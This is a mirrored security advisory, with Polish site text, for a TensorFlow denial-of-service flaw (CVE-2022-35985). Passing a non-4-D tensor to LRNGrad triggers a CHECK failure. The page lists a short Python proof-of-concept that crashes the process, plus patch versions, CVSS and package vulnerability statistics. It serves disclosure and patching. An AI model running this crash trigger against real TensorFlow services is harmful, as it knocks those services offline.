TensorFlow vulnerable to `CHECK` fail in `LRNGrad`
Impact
If LRNGrad is given an output_image input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
depth_radius = 1
bias = 1.59018219
alpha = 0.117728651
beta = 0.404427052
input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta)
Patches
We have patched the issue in GitHub commit bd90b3efab4ec958b228cd7cfe9125be1c0cf255.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9942-r22v-78cp
- https://nvd.nist.gov/vuln/detail/CVE-2022-35985
- https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-9942-r22v-78cp
- https://pypi.org/project/tensorflow-cpu
- https://pypi.org/project/tensorflow-gpu
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-617- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 16.09.2022
- Aktualizacja
- 11.10.2026 14:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-3147 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3303 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9942-r22v-78cp - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-975 - PyPA Advisory Database; CC BY 4.0
Historia podatności: tensorflow-gpu
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 427
- Pierwsza → ostatnia
- 04.2019 07.2024
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 6
- Wysoka 109
- Średnia 207
- Niska 105
Ujawnienia w latach
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to `CHECK` fail in `LRNGrad` ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.